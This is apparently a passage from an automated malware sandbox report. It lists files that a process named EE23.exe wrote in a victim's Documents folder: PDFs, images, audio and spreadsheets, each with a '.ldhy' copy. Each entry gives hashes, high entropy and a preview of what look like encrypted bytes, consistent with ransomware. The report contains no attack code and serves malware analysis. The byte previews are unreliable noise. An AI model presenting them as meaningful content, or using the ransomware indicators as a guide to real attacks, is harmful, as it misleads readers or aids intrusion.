                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TzlFRGQA++kNfX/SBn/r0nPoEbDGGYzWsdjrQY10wOtvyeHZeUNL3FPpkkXsbD:v/RGR+QtT0PoEPG7Wck2O35fL5pkkXmD
                                                                                                                                                                                                                                                              MD5:45D85DDEB55F5FB0B8DE51C28F8F38D2
                                                                                                                                                                                                                                                              SHA1:2093FA8B0610D0AE62ECB323C71255A35230BAE4
                                                                                                                                                                                                                                                              SHA-256:BC30BDAE99A4BEA00BD832DC648E6825F032F0A2FED9A24467AD916A3122DACC
                                                                                                                                                                                                                                                              SHA-512:DC8667FB5F17C83F063C6AB42B45F9BC74C099D4B89FAEF0A8608C2CCC9AAF3933F746CDAD279043F3BADCF8C0A5AF5530A46589CD71E75DFE9BCE127C555165
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.:..>..2..#.5.^^...@....]..9...c.M...e.2..g.*,.3..<.....a...3R..aN.....8(;1N......],:........0!..z..J.2..:...=Z......w..Q.Zy...`...._ o|...)4B.=.U<.$..-..0...:...$.U.a....=sH.......)......y.`.b.6..3....%..\PK.0... ...J..3.F.......kNo..Iq\.0z..u.{...y...G?,e...87.E....*O....#........_,.1r..<uw........6.s|.....Mp.Q...:.:...Sok.0(k].t...}..J..re....Z.l...u.(.f2.......#.R.~..2..^;.b.7{....j......+.......P...i..Bv(...].6...8q.pq....(.4....zr..vP.!%O"|b...S.dg../.../.;.x...|pq.(..x.@.M.0.!L....s8sH.8'.X.w 2.:^.GZ ...PL...H).Q..9/...}.:n..D.....P8.p.t...8.OQkH..G..8.!U...0..q..=.bm_.q... /.$..P..../..2..`He.k.Z..o.....*.o.]hLO|.Ym./v..q.n..)s..r..X..$../A.<{.W.P.{.=...P...Z7e..|.%..... 46ub.I...1..v..S.Z,..^1.L.w....o]..(...._m{.u......I%c./.u...V.a:?T.JWJ....u...d....T.6.>.k.{..t.O..!....j6...9.....xQ.mQR..0..o.j..R..e..........L./{6.l.E..~.."$.~{......K.Q!.y{...c....Uy`...s....bm...L.j).....E..;L......s.n...f..c8.(....?....|f...1<.....B.j...-kH

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.858576360838322
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vVY6/Cyx2QpSimWTDz7XODAloZ4jVJEBzbw5ef0myjGou9GcFIsbD:vZ/ChHsD8AloZWH4zbwPmy6omemD
                                                                                                                                                                                                                                                              MD5:CACE5CBBEE61893A780846BB873D46B2
                                                                                                                                                                                                                                                              SHA1:B85DE6899FF8637430AA08DEF24419EAD2AF8DB2
                                                                                                                                                                                                                                                              SHA-256:6396ABC3A0D92505B417458D581A8803F8726EBA5C00288F3816A48ADA1EE32B
                                                                                                                                                                                                                                                              SHA-512:3CEF3C55D3A0692D38389F9F3E938448317122BCF50EB98DF7279968A2ADAB39BD2D6771C38AA6AB64E85DB6DE487F0243DFF5772CE760D4508DC30EAC1ABE8C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK*0L.tC....E=.,.RFJ...Y..U.!.g.........Ur.p+..$,t..T)s.....V..n......K..,......w.....vG...5[&.'.$.]/$...9..R.E..<U..7...k..pZ.C...0..0..Z..b..0...?9....=.*..s......V.lI...2!.f.pWw.J.j...W...t.*.@f.,......1%...i.0...).i..Fv7......j.+..2......7|..T.t.n.O..9&...L].h1..(....;.1.Q8..!.i.... t[.@G\..c.vi.8|`..K6B.;.......f.sp..}..}%.S..1<xe,..F.f.......G.\9.....,...p...o#...N.6....1.&..B.J.[?..;......(E...bD.......M...r.y._..E$%._.4..*..`...,X"(..~...Rx]z....,z........!.=.l.L.#...|.Y.S...6...6.;I2a...H.V.i/....N....I.6.......`.GT .H8}....i....y-.G.....~u*.r.6...Q..b..?n.e..\..S...c.,..1D@.|..(R........f...!.1..i"...O...e$.}.[..l....u\r$.o.T...I...h......\"./n..x.....\7!..2..z7.)B.....k..5u4:.{....).jF.1...1B..aY...w...&[.......Eo....E...s..U.......|...E./."D....f.I....lG@El..b....Z 2>J..8..7.....q...se......q.f....<..'..........n5..H..{...9G.W..Q,....8._...IE*?.Q..c..g2vi*d.L...3j..;}N(.Hd}....^.L5P...'z...#9.h.=&.(7D(.Ny.Z.R#....&NT.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.858576360838322
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vVY6/Cyx2QpSimWTDz7XODAloZ4jVJEBzbw5ef0myjGou9GcFIsbD:vZ/ChHsD8AloZWH4zbwPmy6omemD
                                                                                                                                                                                                                                                              MD5:CACE5CBBEE61893A780846BB873D46B2
                                                                                                                                                                                                                                                              SHA1:B85DE6899FF8637430AA08DEF24419EAD2AF8DB2
                                                                                                                                                                                                                                                              SHA-256:6396ABC3A0D92505B417458D581A8803F8726EBA5C00288F3816A48ADA1EE32B
                                                                                                                                                                                                                                                              SHA-512:3CEF3C55D3A0692D38389F9F3E938448317122BCF50EB98DF7279968A2ADAB39BD2D6771C38AA6AB64E85DB6DE487F0243DFF5772CE760D4508DC30EAC1ABE8C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK*0L.tC....E=.,.RFJ...Y..U.!.g.........Ur.p+..$,t..T)s.....V..n......K..,......w.....vG...5[&.'.$.]/$...9..R.E..<U..7...k..pZ.C...0..0..Z..b..0...?9....=.*..s......V.lI...2!.f.pWw.J.j...W...t.*.@f.,......1%...i.0...).i..Fv7......j.+..2......7|..T.t.n.O..9&...L].h1..(....;.1.Q8..!.i.... t[.@G\..c.vi.8|`..K6B.;.......f.sp..}..}%.S..1<xe,..F.f.......G.\9.....,...p...o#...N.6....1.&..B.J.[?..;......(E...bD.......M...r.y._..E$%._.4..*..`...,X"(..~...Rx]z....,z........!.=.l.L.#...|.Y.S...6...6.;I2a...H.V.i/....N....I.6.......`.GT .H8}....i....y-.G.....~u*.r.6...Q..b..?n.e..\..S...c.,..1D@.|..(R........f...!.1..i"...O...e$.}.[..l....u\r$.o.T...I...h......\"./n..x.....\7!..2..z7.)B.....k..5u4:.{....).jF.1...1B..aY...w...&[.......Eo....E...s..U.......|...E./."D....f.I....lG@El..b....Z 2>J..8..7.....q...se......q.f....<..'..........n5..H..{...9G.W..Q,....8._...IE*?.Q..c..g2vi*d.L...3j..;}N(.Hd}....^.L5P...'z...#9.h.=&.(7D(.Ny.Z.R#....&NT.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\EIVQSAOTAQ.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.832985522681464
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RVO8NYNAlMak1tisFrrboCcmzduDZ+Lxob9Ucguciv0YwR1NxYvtf348mjO+RkL7:DpS1td3UmzduDZ+ab9Vguciv0YeNxYvp
                                                                                                                                                                                                                                                              MD5:772FD6D9C36EECEE754832D22F4404F7
                                                                                                                                                                                                                                                              SHA1:90D4D55F23F734A13855CF7B72CB0062FED14FBB
                                                                                                                                                                                                                                                              SHA-256:D6AAA8D33DC443A38E87EA24D85FFA75863A52F8E05AC9277936CEECECFAA7E7
                                                                                                                                                                                                                                                              SHA-512:0D2996B8C4823E159B184C90F3CB86614843FE72B6EAA18CD8441C861BF0BF7C55A10436257B13306CE1587B0B7F862D519B3145830454312B074255494A10D1
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS_.......u..F..$.....\.(....7..n.>l'...:...(...Au+..+..[Ck......;.g._...^C\.X...z..4R.D...Mm;...rG`k..........m.%....>P..2....{..l..Ck=..c..7`7.n......C..@..k...L.....y.w.6.=.,9t...:P.:....v.....z<.....{nQc...g.W...O\.+.W...Y...I...IHY..=........^k....Qd.....>..D.<...'...og>....-..[MJk..k.DA..=.D71;.^.Y.!."".Wt.[b..s....7..e.....8#.=......&......T|>j..]'.......1....''...."aJ......<L..Bt......b.&L.8.3...$.E...$.x.&..^...5ju.]O.d)2....2..x........Y.+u....E-.r.....L4..\....k..&*c.Y..C.,.w/"(u..y.e.|az7.+ 5...._.z...h....B6../g.h]!.=,gT..lC.7....m..PD.8G...U.......3.;...zu.w:Ws.. -4..f@.....C..@ZP..8%u.A.O.x.0<...i.A=.@n4*..a.i:....0...,..nR.4.[...x..4.JB.......v.@...IJ...8.+B......J.w.x...a.;<..0.%..q..H..q....p.....A....6....[z./i..|~5..g..s.T.I.{E..h(..K=..+.c...=.........3...i...H.<f6...cRv.I...t.Sr......nWv...N..).gl.........}A.>.ZXr..........5.X...B.qE.Bw`JwK...._M.......#!!..WB...zgc.S&...9.....!>..}x>..........W.@;.U.....$.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\EIVQSAOTAQ.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.832985522681464
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:RVO8NYNAlMak1tisFrrboCcmzduDZ+Lxob9Ucguciv0YwR1NxYvtf348mjO+RkL7:DpS1td3UmzduDZ+ab9Vguciv0YeNxYvp
                                                                                                                                                                                                                                                              MD5:772FD6D9C36EECEE754832D22F4404F7
                                                                                                                                                                                                                                                              SHA1:90D4D55F23F734A13855CF7B72CB0062FED14FBB
                                                                                                                                                                                                                                                              SHA-256:D6AAA8D33DC443A38E87EA24D85FFA75863A52F8E05AC9277936CEECECFAA7E7
                                                                                                                                                                                                                                                              SHA-512:0D2996B8C4823E159B184C90F3CB86614843FE72B6EAA18CD8441C861BF0BF7C55A10436257B13306CE1587B0B7F862D519B3145830454312B074255494A10D1
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EIVQS_.......u..F..$.....\.(....7..n.>l'...:...(...Au+..+..[Ck......;.g._...^C\.X...z..4R.D...Mm;...rG`k..........m.%....>P..2....{..l..Ck=..c..7`7.n......C..@..k...L.....y.w.6.=.,9t...:P.:....v.....z<.....{nQc...g.W...O\.+.W...Y...I...IHY..=........^k....Qd.....>..D.<...'...og>....-..[MJk..k.DA..=.D71;.^.Y.!."".Wt.[b..s....7..e.....8#.=......&......T|>j..]'.......1....''...."aJ......<L..Bt......b.&L.8.3...$.E...$.x.&..^...5ju.]O.d)2....2..x........Y.+u....E-.r.....L4..\....k..&*c.Y..C.,.w/"(u..y.e.|az7.+ 5...._.z...h....B6../g.h]!.=,gT..lC.7....m..PD.8G...U.......3.;...zu.w:Ws.. -4..f@.....C..@ZP..8%u.A.O.x.0<...i.A=.@n4*..a.i:....0...,..nR.4.[...x..4.JB.......v.@...IJ...8.+B......J.w.x...a.;<..0.%..q..H..q....p.....A....6....[z./i..|~5..g..s.T.I.{E..h(..K=..+.c...=.........3...i...H.<f6...cRv.I...t.Sr......nWv...N..).gl.........}A.>.ZXr..........5.X...B.qE.Bw`JwK...._M.......#!!..WB...zgc.S&...9.....!>..}x>..........W.@;.U.....$.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\EOWRVPQCCS.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8416290200331344
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:8D6K12bljEpnRNKyzj2KcNbEHlcSA6VDVv62znPiMmuVBvY/BHyvxeQzOE2tuPsX:8D6z5E1RQqS5EY6762DyuVBvYADZBmD
                                                                                                                                                                                                                                                              MD5:55E158F78874276EC6BCD5A785E20B56
                                                                                                                                                                                                                                                              SHA1:B2A39CE492A0178AA3137CCDFE46111ECA0DBF30
                                                                                                                                                                                                                                                              SHA-256:4ABC9CC6EBDB643C4A4CD12882564B273F409A74ADFAA4268874110131120C7E
                                                                                                                                                                                                                                                              SHA-512:7D7EEF62041686EADD3FB5ECEA9EC937C3E699FA0A9C9BCE1AA424BB838A76A3AEA3C5A308651485E66E62389651E8867B8F5D474FFA6620380E5FF3A076FBEB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRV..4H...v...[...........Xy..\.+S.T. ..O....Z!u..'.?...(.'...H*.'.....>..&q.q.......z......Y.....*|4..x[..@.W'.......H.$....S.j[....c....1.oZ..YJEUP.!K.r..V...>.D.{u...C...5+.......m;.#.>:.....Z..<...Q.'...O.|........2t.pL.&Q.B....#....S.PSX.....Y....G.....6s..v..tQ{..u...k.......&.;.y<F..}...Aa..1.......iX.Lu...m.K9V.h.....Li.q...`..3...l.........Xb./p..ua.%..^H*..C<.n......g5AU.%6#..4.ln.j*.V}.....d.4.'E4...KT=}.....K4....<.........u.N4a+.. .b... .ze..lgQV.....#.*+.CCe!.M."A..t......Lb..-..Z..e0,......U=Q.7.....S.......\..jr..r...I.M..u._..M,Z..8..k.2..n.Y+...7KS..2.Ag.......U.~.....cq.6.....c..,P"..5.-...]q..h...X...&d.o.Q..\4f}O.....!...>4v....$.y ..^.J,....i..egi...R.).O$.ac.).F....qR.T...u.C.9.....~.S..,..U....e...$.._a.u...ipv>.f#.2..f}............&%3.......NR..V...[...DJ..G?.8...R..EPO.jw...$.T.m..|..N8s.....Iq#Y.."c..{......^B..PLS..J.fd32..(...Z...E4*_..t.X...!KL..!...Q..!{.......5wH.E.5.d.n.`.4...R~q........2z.....H.k....Vi

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\EOWRVPQCCS.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8416290200331344
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:8D6K12bljEpnRNKyzj2KcNbEHlcSA6VDVv62znPiMmuVBvY/BHyvxeQzOE2tuPsX:8D6z5E1RQqS5EY6762DyuVBvYADZBmD
                                                                                                                                                                                                                                                              MD5:55E158F78874276EC6BCD5A785E20B56
                                                                                                                                                                                                                                                              SHA1:B2A39CE492A0178AA3137CCDFE46111ECA0DBF30
                                                                                                                                                                                                                                                              SHA-256:4ABC9CC6EBDB643C4A4CD12882564B273F409A74ADFAA4268874110131120C7E
                                                                                                                                                                                                                                                              SHA-512:7D7EEF62041686EADD3FB5ECEA9EC937C3E699FA0A9C9BCE1AA424BB838A76A3AEA3C5A308651485E66E62389651E8867B8F5D474FFA6620380E5FF3A076FBEB
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EOWRV..4H...v...[...........Xy..\.+S.T. ..O....Z!u..'.?...(.'...H*.'.....>..&q.q.......z......Y.....*|4..x[..@.W'.......H.$....S.j[....c....1.oZ..YJEUP.!K.r..V...>.D.{u...C...5+.......m;.#.>:.....Z..<...Q.'...O.|........2t.pL.&Q.B....#....S.PSX.....Y....G.....6s..v..tQ{..u...k.......&.;.y<F..}...Aa..1.......iX.Lu...m.K9V.h.....Li.q...`..3...l.........Xb./p..ua.%..^H*..C<.n......g5AU.%6#..4.ln.j*.V}.....d.4.'E4...KT=}.....K4....<.........u.N4a+.. .b... .ze..lgQV.....#.*+.CCe!.M."A..t......Lb..-..Z..e0,......U=Q.7.....S.......\..jr..r...I.M..u._..M,Z..8..k.2..n.Y+...7KS..2.Ag.......U.~.....cq.6.....c..,P"..5.-...]q..h...X...&d.o.Q..\4f}O.....!...>4v....$.y ..^.J,....i..egi...R.).O$.ac.).F....qR.T...u.C.9.....~.S..,..U....e...$.._a.u...ipv>.f#.2..f}............&%3.......NR..V...[...DJ..G?.8...R..EPO.jw...$.T.m..|..N8s.....Iq#Y.."c..{......^B..PLS..J.fd32..(...Z...E4*_..t.X...!KL..!...Q..!{.......5wH.E.5.d.n.`.4...R~q........2z.....H.k....Vi

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\GRXZDKKVDB.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.866903909457734
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:oBO2MvQcgIpEAa/g7VTdVRZ4HidD+bPuLrPVCwbQCtJJ9xAF6Nn8iky+RRIAksbD:csQcDq6TdtSiQbP8bVCwbrqyf+R2mD
                                                                                                                                                                                                                                                              MD5:155C497EBFB052C02C798E503E2B1E7A
                                                                                                                                                                                                                                                              SHA1:553F264CAA725C2C954B9FF9EBACAE4A073225FA
                                                                                                                                                                                                                                                              SHA-256:CB654F78003789E6B2F930A46DAB248E4BD2C91347A2213F7FE69F5D02FF0E34
                                                                                                                                                                                                                                                              SHA-512:892FB330924FCE717D22C3E2391EF7CABC416DB6B2317793DC3804270350132DC47AD61EC1C6041B09E0AC569A866329AB61E8EE86C21E25C052333941CC1F16
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD....;.....8..&..P.x..t.z_.......BA.~...).h".B.....9>.'....-#...1YB......G$......^..,...H..././/........m.t.f..l.''.. T..3.:...R.sc..>.e..8".3e."D8R"1.}...(tI^&#]^....=X...u'.....W1.)]@......c.C...,.v.}_.....\....t..d.e..XL-.j.C[iV.&.^E9b.{.m.(@.|4.iW.d..j..G.Ll..ZX......_...#o..r.L...].Pr..w;m.G.u2....v...r.ji..+..%%.#...Y....Cy..<P:.......%B..W;.Wi.$.\.k.sS.R..R..A..|.,.cd... .h.1oUx.0..k..L.`.;o.K{e6..SX...v.]...7.x7.<q..9.w.........o.I.*#8ng...[.}jn...l.7...o....-.e.+.D*R.....(c....T.^I..[..@<]_.7....a....[oh...<f...l.y 4D-.y...K.........J.....U.X....;~TF....@.......#)e.....q..[..b./hJ......&{4..f...(...d?M..o'^.S.pF"..LD..8..7s.?.k-.D....fi...]I...Y.J...Nb.A...I.....fPL...x.7...~#.5.....Z..."X..8...U..........tJ/p.n.L.:.TR[f.M.......S..h+....!....Xb..v.L...!..$.m..uL..I...*..].2.enE..u..Z~j.+.t-V..L.lC..b....7......>....._..#..>z:.\F.X.N.1..0.../#..I!../:a^....[.L..AGg.~...Y..<.........cW .....D9..h.ltNHK]..y.y..zT.......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\GRXZDKKVDB.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.866903909457734
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:oBO2MvQcgIpEAa/g7VTdVRZ4HidD+bPuLrPVCwbQCtJJ9xAF6Nn8iky+RRIAksbD:csQcDq6TdtSiQbP8bVCwbrqyf+R2mD
                                                                                                                                                                                                                                                              MD5:155C497EBFB052C02C798E503E2B1E7A
                                                                                                                                                                                                                                                              SHA1:553F264CAA725C2C954B9FF9EBACAE4A073225FA
                                                                                                                                                                                                                                                              SHA-256:CB654F78003789E6B2F930A46DAB248E4BD2C91347A2213F7FE69F5D02FF0E34
                                                                                                                                                                                                                                                              SHA-512:892FB330924FCE717D22C3E2391EF7CABC416DB6B2317793DC3804270350132DC47AD61EC1C6041B09E0AC569A866329AB61E8EE86C21E25C052333941CC1F16
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:GRXZD....;.....8..&..P.x..t.z_.......BA.~...).h".B.....9>.'....-#...1YB......G$......^..,...H..././/........m.t.f..l.''.. T..3.:...R.sc..>.e..8".3e."D8R"1.}...(tI^&#]^....=X...u'.....W1.)]@......c.C...,.v.}_.....\....t..d.e..XL-.j.C[iV.&.^E9b.{.m.(@.|4.iW.d..j..G.Ll..ZX......_...#o..r.L...].Pr..w;m.G.u2....v...r.ji..+..%%.#...Y....Cy..<P:.......%B..W;.Wi.$.\.k.sS.R..R..A..|.,.cd... .h.1oUx.0..k..L.`.;o.K{e6..SX...v.]...7.x7.<q..9.w.........o.I.*#8ng...[.}jn...l.7...o....-.e.+.D*R.....(c....T.^I..[..@<]_.7....a....[oh...<f...l.y 4D-.y...K.........J.....U.X....;~TF....@.......#)e.....q..[..b./hJ......&{4..f...(...d?M..o'^.S.pF"..LD..8..7s.?.k-.D....fi...]I...Y.J...Nb.A...I.....fPL...x.7...~#.5.....Z..."X..8...U..........tJ/p.n.L.:.TR[f.M.......S..h+....!....Xb..v.L...!..$.m..uL..I...*..].2.enE..u..Z~j.+.t-V..L.lC..b....7......>....._..#..>z:.\F.X.N.1..0.../#..I!../:a^....[.L..AGg.~...Y..<.........cW .....D9..h.ltNHK]..y.y..zT.......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\NVWZAPQSQL.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.87347990225817
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FmvTbHfhbsMvQQlY3V2p5Q16TMe024Hm1quPelApHZL9uH+BMGsBRRYx1doJsbD:FkJZvvq3Ipa1eMQ1quPemxuH8/sBRRYl
                                                                                                                                                                                                                                                              MD5:2F439762C2CEE856410BC3EDE5127EE8
                                                                                                                                                                                                                                                              SHA1:378D89CC4132F2B559E79BBAFA2F9B864EC91733
                                                                                                                                                                                                                                                              SHA-256:8A67CC38D121E8AC8DA6A6EAD6B19F0C7B0354B6FD07A27594D6508A5BDB4E20
                                                                                                                                                                                                                                                              SHA-512:2298CF0B99F29BA9CDC794332D60D4F2F69EAB0885D5823E926766EBFED5ABFF2555C0108A6E35E66D31ECE2D2796DB9CC7FC85CC4B312D7123589F2AE14B222
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA.*.6..u`U(A.....H../....r. ......m.t..U....6Q.$..n..R.....E.2.).uF.L.....S........;.I.F...+Q...E*..%_%.Q._.-..eX...z.c..._.y......Lg.$sq.-../....F.->...m.h&..8....!.|.rf*..H..q.):.. ......`.....@?F.B(...e."h..{...........a......sS.%].....^...'On:.]%.......{G..H..:.r..FH..r.....7.!=.s..V"R..%../o6.....S...L.P4.o.J.`..o.^.p..5c.2..t.@K..@...<xB.=.......q.!......R..w...8...R.s.. .y./.$Q.....dk..`..._..u..\...@.._8}-i.....pc...$Y+.j..90.`..dE.+.[.Pk.x....9l.n..-U......=.$..e..p.63..1B]....80.1,..^bZ..U..pp..~.}F....%...M....$..[T......\.!......9.<5.}...-.2...>.*.......S.a...oj.4....y.|...V.l..t<.~.V.iFy(W.;U......x.+l!fR.'..G.[...GBA.t..3.t.Y...ET..>.6...`..v..\AS.x..;.y...2P...b.z]..LZVl&k...9..M....$..v%.....Nu!.UK..........B.<$Uu......V...@.rr.j...c.%?7#.G.W.J..p-MI.kUb... ..I...>..V>..O./IC=Uv......].L(2.b.}.[..q...9. ..[..g.R...].0.Za.m......q.`s...Azu..j..U.f..q...1....|Q$9.~.].#.vm.*.E1.G....c\b.k$..h..I.F...J.Rm........X..r...F

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\NVWZAPQSQL.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.87347990225817
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FmvTbHfhbsMvQQlY3V2p5Q16TMe024Hm1quPelApHZL9uH+BMGsBRRYx1doJsbD:FkJZvvq3Ipa1eMQ1quPemxuH8/sBRRYl
                                                                                                                                                                                                                                                              MD5:2F439762C2CEE856410BC3EDE5127EE8
                                                                                                                                                                                                                                                              SHA1:378D89CC4132F2B559E79BBAFA2F9B864EC91733
                                                                                                                                                                                                                                                              SHA-256:8A67CC38D121E8AC8DA6A6EAD6B19F0C7B0354B6FD07A27594D6508A5BDB4E20
                                                                                                                                                                                                                                                              SHA-512:2298CF0B99F29BA9CDC794332D60D4F2F69EAB0885D5823E926766EBFED5ABFF2555C0108A6E35E66D31ECE2D2796DB9CC7FC85CC4B312D7123589F2AE14B222
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA.*.6..u`U(A.....H../....r. ......m.t..U....6Q.$..n..R.....E.2.).uF.L.....S........;.I.F...+Q...E*..%_%.Q._.-..eX...z.c..._.y......Lg.$sq.-../....F.->...m.h&..8....!.|.rf*..H..q.):.. ......`.....@?F.B(...e."h..{...........a......sS.%].....^...'On:.]%.......{G..H..:.r..FH..r.....7.!=.s..V"R..%../o6.....S...L.P4.o.J.`..o.^.p..5c.2..t.@K..@...<xB.=.......q.!......R..w...8...R.s.. .y./.$Q.....dk..`..._..u..\...@.._8}-i.....pc...$Y+.j..90.`..dE.+.[.Pk.x....9l.n..-U......=.$..e..p.63..1B]....80.1,..^bZ..U..pp..~.}F....%...M....$..[T......\.!......9.<5.}...-.2...>.*.......S.a...oj.4....y.|...V.l..t<.~.V.iFy(W.;U......x.+l!fR.'..G.[...GBA.t..3.t.Y...ET..>.6...`..v..\AS.x..;.y...2P...b.z]..LZVl&k...9..M....$..v%.....Nu!.UK..........B.<$Uu......V...@.rr.j...c.%?7#.G.W.J..p-MI.kUb... ..I...>..V>..O./IC=Uv......].L(2.b.}.[..q...9. ..[..g.R...].0.Za.m......q.`s...Azu..j..U.f..q...1....|Q$9.~.].#.vm.*.E1.G....c\b.k$..h..I.F...J.Rm........X..r...F

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\PALRGUCVEH.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.865057822376444
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:T5yQ2C8oH/R/sdh3wot52rMlYEu9SCOlK8vKd6Vq0fLsbD:9ywZsHj2ac8SEI0fLmD
                                                                                                                                                                                                                                                              MD5:FB6CF02F8FE161B96C0F87B84CC85052
                                                                                                                                                                                                                                                              SHA1:1F12EA0A3F208B38437D412D9F61FCC5935DAE26
                                                                                                                                                                                                                                                              SHA-256:62A7C8F5D879112C11CCF228E90F23233F98FC984CDBB49CFC8C6F280623B88A
                                                                                                                                                                                                                                                              SHA-512:A405B13CEBE25DFF051498CB966B23F01D024041195A257F00E840CC18E380AA4412977F672FDA0F14180A42C769734B37E111D9C4871647825ECC3C809AF3C0
                                                                                                                                                                                                                                                              Malicious:false
